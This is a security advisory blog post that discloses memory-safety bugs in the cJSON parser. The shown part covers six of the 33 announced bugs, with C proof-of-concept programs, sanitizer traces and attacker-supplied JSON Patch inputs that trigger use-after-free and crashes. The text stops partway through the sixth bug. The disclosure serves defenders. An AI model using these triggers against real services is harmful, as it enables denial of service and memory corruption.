Vulnerabilities in CJSON Security researcher disclosed 33 vulnerabilities in cJSON, the widely used C JSON parser vendored into ESP-IDF and embedded firmware, affecting all versions up to v1.7.19 with no fixes available from the stagnant project. The first bug is a use-after-free in the overwrite_item() function that ignores reference and const flags, allowing attacker-controlled JSON Patch operations to free borrowed memory and cause double-free crashes. cJSON is probably the most widely used JSON parser in the C world. It’s vendored into ESP-IDF, into a lot of embedded firmware, and into a whole lot more server-side C. I found 33 security issues in it, using a mix of AI and some manual fuzzing and review. They affect every version up to and including v1.7.19, and every one of them is still in the current code. Looking at cJSON’s GitHub, several of these issues have been reported before, some with working proofs of concept attached, and a few of those reports are years old by now. Development has been more or less stagnant for four years. Memory-safety reports sit open and unanswered, and in a few cases the patch that would fix them is sitting right there in the same thread, unmerged. For most of what follows there is simply nothing available to apply. So this is a writeup instead of another bug report. If you ship cJSON, you need to know what’s in it, because nobody is going to hand you a fixed version. Every proof of concept below is complete and self-contained. I compiled them all with: cc -fsanitize=address,undefined -fno-omit-frame-pointer -g -O0 \ -I. cJSON.c cJSON Utils.c poc.c -o poc -lm One thing to know before you try to reproduce any of this. A few of them only crash with AddressSanitizer and UndefinedBehaviorSanitizer enabled together , on an unoptimised build, because it’s the instrumentation that fattens the stack frames enough to run off the end. With ASan alone, or at -O2 , some of them quietly return NULL instead. Test with a partial sanitizer set and this library looks considerably healthier than it is. The first thirteen are memory-safety issues and a denial of service. The rest are logic bugs, most of which lose data or operate on the wrong object member without saying so. In a library whose whole job is applying somebody else’s patch document to your data, I count those. Note: I used AI to help write this post, mostly because there are so many of them and doing 33 of these by hand is miserable. I have no emotional attachment to this project or to these findings, and getting them published seemed more useful than getting the prose exactly the way I’d write it myself. If cJSON is parsing attacker-controlled JSON anywhere in your stack, look at what it would take to move off it. And don’t just merge the unlanded patches sitting on the GitHub repository and call it done, either. Some of those introduce fresh bugs of their own, from what I saw. Bug number 1 use-after-free Details overwrite item handles a JSON Patch operation whose path is the empty string, meaning one that replaces the whole document root. It frees the node’s child , valuestring and string unconditionally: js / cJSON Utils.c:791 / static void overwrite item cJSON const root, const cJSON replacement { if root == NULL { return; } if root- string = NULL { cJSON free root- string ; / ignores cJSON StringIsConst / } if root- valuestring = NULL { cJSON free root- valuestring ; / ignores cJSON IsReference / } if root- child = NULL { cJSON Delete root- child ; / ignores cJSON IsReference / } memcpy root, &replacement, sizeof cJSON ; } cJSON’s own destructor honours both of those flags. This function doesn’t. cJSON IsReference means child and valuestring are borrowed and belong to somebody else, and cJSON StringIsConst means string must never be freed. A node made by cJSON CreateObjectReference holds a borrowed subtree in child , so a patch containing {"op":"replace","path":""} frees a subtree the patched node doesn’t own. The real owner then frees it a second time. The same helper throws in two more invalid frees while it’s there. Against a node from cJSON CreateStringReference it calls cJSON free on memory that may never have been on the heap. Against one whose key was set with cJSON AddItemToObjectCS , it calls cJSON free on a string literal. Proof of Concept include "cJSON.h" include "cJSON Utils.h" int main void { cJSON owner = cJSON Parse "{\"k\":{\"n\":1}}" ; cJSON ref = cJSON CreateObjectReference cJSON GetObjectItem owner, "k" ; cJSON patch = cJSON Parse " {\"op\":\"replace\",\"path\":\"\",\"value\":1} " ; cJSONUtils ApplyPatches ref, patch ; / frees owner's "k" through the reference / cJSON Delete owner ; / use-after-free / double free on "k" / return 0; } ================================================================= ==85943==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001021554dc bp 0x00016dcaa540 sp 0x00016dcaa538 READ of size 8 at 0x606000000260 thread T0 0 0x0001021554d8 in cJSON Delete cJSON.c:258 1 0x00010215573c in cJSON Delete cJSON.c:261 2 0x000102189674 in main poc.c:15 0x606000000260 is located 0 bytes inside of 64-byte region 0x606000000260,0x6060000002a0 freed by thread T0 here: 0 0x00010270d424 in free+0x7c 1 0x000102155e00 in cJSON Delete cJSON.c:273 2 0x000102185a0c in overwrite item cJSON Utils.c:801 3 0x00010217e87c in apply patch cJSON Utils.c:869 4 0x00010217e1e0 in cJSONUtils ApplyPatches cJSON Utils.c:1056 5 0x00010218966c in main poc.c:14 previously allocated by thread T0 here: 0 0x00010270d330 in malloc+0x78 1 0x000102157bb0 in cJSON New Item cJSON.c:243 2 0x000102172568 in parse object cJSON.c:1698 3 0x00010215a678 in parse value cJSON.c:1416 4 0x000102157278 in cJSON ParseWithLengthOpts cJSON.c:1172 5 0x000102156f80 in cJSON ParseWithOpts cJSON.c:1143 6 0x00010215b69c in cJSON Parse cJSON.c:1229 7 0x000102189634 in main poc.c:10 SUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:258 in cJSON Delete The freeing stack is the whole bug. apply patch reaches overwrite item , which deletes the borrowed subtree, and the owner’s own cJSON Delete walks into it afterwards. The attacker controls the trigger, since it’s just "path":"" in the patch document. The application does have to have handed a reference-type or const-keyed node to the patcher for any of it to matter. Impact Heap use-after-free and double free, plus invalid frees of non-heap memory and of string literals. Bug number 2 use-after-free Details cJSONUtils ApplyPatches walks the patch array by holding a raw pointer to the current element, calling apply patch , and only then reading - next : / cJSON Utils.c:1054 / while current patch = NULL { status = apply patch object, current patch, false ; if status = 0 { return status; } current patch = current patch- next; / current patch may be freed by now / } apply patch frees nodes out of object at three different places: cJSON Utils.c:845 in overwrite item , :896 in the remove / replace delete, and :1013 on the add path. Nothing anywhere enforces that object and patches are disjoint trees. So if object is the patch array, or is an ancestor of it, a patch can delete the very node the loop is about to step through. Pointer resolution only ever descends through - child and - next , so a path can’t climb up out of object . That pins the precondition down: object has to be patches , or has to contain it. Nothing in the headers or the documentation says a word about disjointness. The function is even declared cJSONUtils ApplyPatches cJSON const object, const cJSON const patches , so the library promises not to modify patches and then goes and frees nodes reachable through it. Passing the same pointer twice compiles clean under -Wall -Wextra -Wpedantic . Proof of Concept include "cJSON.h" include "cJSON Utils.h" int main void { cJSON a = cJSON Parse " {\"op\":\"remove\",\"path\":\"/0\"} " ; cJSONUtils ApplyPatches a, a ; return 0; } ================================================================= ==85787==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001001462a8 bp 0x00016fce2ab0 sp 0x00016fce2aa8 READ of size 8 at 0x606000000260 thread T0 0 0x0001001462a4 in cJSONUtils ApplyPatches cJSON Utils.c:1061 1 0x000100151644 in main poc.c:12 0x606000000260 is located 0 bytes inside of 64-byte region 0x606000000260,0x6060000002a0 freed by thread T0 here: 0 0x0001008b1424 in free+0x7c 1 0x00010011de00 in cJSON Delete cJSON.c:273 2 0x000100146be4 in apply patch cJSON Utils.c:896 3 0x0001001461e0 in cJSONUtils ApplyPatches cJSON Utils.c:1056 4 0x000100151644 in main poc.c:12 previously allocated by thread T0 here: 0 0x0001008b1330 in malloc+0x78 1 0x00010011fbb0 in cJSON New Item cJSON.c:243 2 0x0001001387ec in parse array cJSON.c:1535 3 0x0001001221ec in parse value cJSON.c:1411 4 0x00010011f278 in cJSON ParseWithLengthOpts cJSON.c:1172 5 0x00010011ef80 in cJSON ParseWithOpts cJSON.c:1143 6 0x00010012369c in cJSON Parse cJSON.c:1229 7 0x000100151634 in main poc.c:10 SUMMARY: AddressSanitizer: heap-use-after-free cJSON Utils.c:1061 in cJSONUtils ApplyPatches The two stacks line up neatly. cJSON Utils.c:1056 is the apply patch call that frees the node, and cJSON Utils.c:1061 is the current patch- next read five lines below it. Now, applying a patch array to itself is obviously silly, and if that were the only way in I’d have written this off. It isn’t. Picture an application that takes the document and the patch in one request body and patches in place: cJSON req = cJSON Parse body ; / {"doc":…, "patch": … } / cJSONUtils ApplyPatches req, cJSON GetObjectItem req, "patch" ; / target is an ancestor / Against that, {"op":"remove","path":"/patch"} is a use-after-free the attacker triggers with nothing but the bytes they already control. The safer-looking version of the same code, the one passing GetObjectItem req,"doc" , is fine, because then the two subtrees are disjoint. One argument separates them. A replace at /0 gives you a second, distinct use-after-free inside apply patch at cJSON Utils.c:943 , and {"op":"remove","path":""} gives a third through overwrite item . Impact Heap use-after-free through the public JSON Patch API, reachable from attacker-supplied patch bytes in the request shape above. Bug number 3 use-after-free Details merge patch has the same defect in a second function. It iterates the patch object while deleting members from the target: / cJSON Utils.c:1339 / while patch child = NULL { if cJSON IsNull patch child { … cJSON DeleteItemFromObject target, patch child- string ; / may free patch child / } … patch child = patch child- next; / freed / } A few lines earlier there’s a second variant, and that one is worse. When target isn’t an object, merge patch deletes it and then immediately duplicates the pointer it has just freed: / cJSON Utils.c:1328 / cJSON Delete target ; return cJSON Duplicate patch, 1 ; / patch == target, already freed / That one is unconditional whenever the caller aliases the two arguments and the target is a scalar. cJSONUtils MergePatch cJSON Parse "1" , same pointer does it. Proof of Concept The documentation for this function does say that target may be freed and that the return value is the new pointer, so the proof of concept below never touches t after the call. The sanitizer report fires inside the library, before anything returns. This isn’t me double-freeing in the harness. include "cJSON.h" include "cJSON Utils.h" int main void { cJSON t = cJSON Parse "{\"a\":null}" ; cJSONUtils MergePatch t, t ; return 0; } ================================================================= ==85866==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x000104eedc5c bp 0x00016af3e920 sp 0x00016af3e918 READ of size 8 at 0x606000000260 thread T0 0 0x000104eedc58 in merge patch cJSON Utils.c:1376 1 0x000104eed5e4 in cJSONUtils MergePatch cJSON Utils.c:1383 2 0x000104ef5644 in main poc.c:12 0x606000000260 is located 0 bytes inside of 64-byte region 0x606000000260,0x6060000002a0 freed by thread T0 here: 0 0x0001057a1424 in free+0x7c 1 0x000104ec1e00 in cJSON Delete cJSON.c:273 2 0x000104ecd838 in cJSON DeleteItemFromObject cJSON.c:2325 3 0x000104eed8ec in merge patch cJSON Utils.c:1350 4 0x000104eed5e4 in cJSONUtils MergePatch cJSON Utils.c:1383 5 0x000104ef5644 in main poc.c:12 previously allocated by thread T0 here: 0 0x0001057a1330 in malloc+0x78 1 0x000104ec3bb0 in cJSON New Item cJSON.c:243 2 0x000104ede568 in parse object cJSON.c:1698 3 0x000104ec6678 in parse value cJSON.c:1416 4 0x000104ec3278 in cJSON ParseWithLengthOpts cJSON.c:1172 5 0x000104ec2f80 in cJSON ParseWithOpts cJSON.c:1143 6 0x000104ec769c in cJSON Parse cJSON.c:1229 7 0x000104ef5634 in main poc.c:10 SUMMARY: AddressSanitizer: heap-use-after-free cJSON Utils.c:1376 in merge patch Same shape as before, both stacks inside merge patch : :1350 deletes the member and :1376 walks through it anyway. Impact Heap use-after-free in the RFC 7396 merge-patch API. Bug number 4 use-after-free Details cJSON ReplaceItemViaPointer frees the item it replaces at cJSON.c:2412 . Two things combine to make that a problem. The object APIs perform no type check whatsoever, so they’ll happily operate on a cJSON String , and nothing rejects a replacement that happens to be the parent itself. Put those together and the library is left holding a pointer to memory it has already freed, which create reference then copies at cJSON.c:2020 . Proof of Concept include "cJSON.h" int main void { cJSON s = cJSON Parse "\"x\"" ; / a string, not a container / cJSON ref = NULL; cJSON AddItemReferenceToObject s, "", s ; / no type check: string gains a child / ref = cJSON GetArrayItem s, 0 ; / the library's own pointer to it / cJSON ReplaceItemInObject s, "", s ; / frees ref at cJSON.c:2412 / cJSON AddItemReferenceToObject s, "", ref ; return 0; } ================================================================= ==85684==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001055631fc bp 0x00016af0e9c0 sp 0x00016af0e170 READ of size 64 at 0x606000000260 thread T0 0 0x0001055631f8 in asan memcpy+0x400 1 0x000104efab5c in create reference cJSON.c:2020 2 0x000104efaed4 in cJSON AddItemReferenceToObject cJSON.c:2147 3 0x000104f25684 in main poc.c:15 0x606000000260 is located 0 bytes inside of 64-byte region 0x606000000260,0x6060000002a0 freed by thread T0 here: 0 0x000105565424 in free+0x7c 1 0x000104ef1e00 in cJSON Delete cJSON.c:273 2 0x000104eff0fc in cJSON ReplaceItemViaPointer cJSON.c:2412 3 0x000104eff6fc in replace item in object cJSON.c:2447 4 0x000104eff1b0 in cJSON ReplaceItemInObject cJSON.c:2452 5 0x000104f25674 in main poc.c:14 previously allocated by thread T0 here: 0 0x000105565330 in malloc+0x78 1 0x000104ef3bb0 in cJSON New Item cJSON.c:243 2 0x000104efaad8 in create reference cJSON.c:2014 3 0x000104efaed4 in cJSON AddItemReferenceToObject cJSON.c:2147 4 0x000104f25654 in main poc.c:12 SUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:2020 in create reference The read is 64 bytes wide, which is the entire cJSON struct, because create reference memcpy s the freed node in one go. Impact Heap use-after-free. Bug number 5 NULL pointer dereference Details cJSON DetachItemViaPointer writes through parent- child without checking that it’s non- NULL : php / cJSON.c:2284 / parent- child- prev = item- prev; / parent- child may be NULL / This one is a regression, and an unusually clear one. The function used to be guarded with parent == NULL || parent- child == NULL || item == NULL || item- prev == NULL . Two days later the same author rewrote the test as parent == NULL || item == NULL || item = parent- child && item- prev == NULL , and dropped the parent- child check on the way past. Whatever guard survived dictates the shape of the proof of concept. Here the item has to come from a different container, so that item- prev is non- NULL and the earlier check waves it through to the store. Proof of Concept include "cJSON.h" int main void { cJSON parent = cJSON Parse "{}" ; / empty container: child == NULL / cJSON other = cJSON Parse " 1,2 " ; cJSON DetachItemViaPointer parent, cJSON GetArrayItem other, 1 ; return 0; } cJSON.c:2284:24: runtime error: member access within null pointer of type 'struct cJSON' 0 0x000102f01508 in cJSON DetachItemViaPointer cJSON.c:2284 1 0x000102f29668 in main poc.c:14 SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:2284:24 ==85527==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 pc 0x000102f01584 bp 0x00016cf0ab40 sp 0x00016cf0a6e0 T0 ==85527==The signal is caused by a WRITE memory access. ==85527==Hint: address points to the zero page. 0 0x000102f01584 in cJSON DetachItemViaPointer cJSON.c:2284 1 0x000102f29668 in main poc.c:14 SUMMARY: AddressSanitizer: SEGV cJSON.c:2284 in cJSON DetachItemViaPointer Address 0x8 is the offset of prev within cJSON . Note that it’s a write, not a read. Impact NULL pointer dereference through the plain public API, resulting in Denial of Service. Bug number 6 stack exhaustion Details Nothing checks that the replacement passed to cJSON ReplaceItemInArray isn’t the array itself. Replace an array’s own element with the array and you get a- child = a , a self-referential cycle, and the function reports success. cJSON Delete then recurses on the same node forever. Proof of Concept include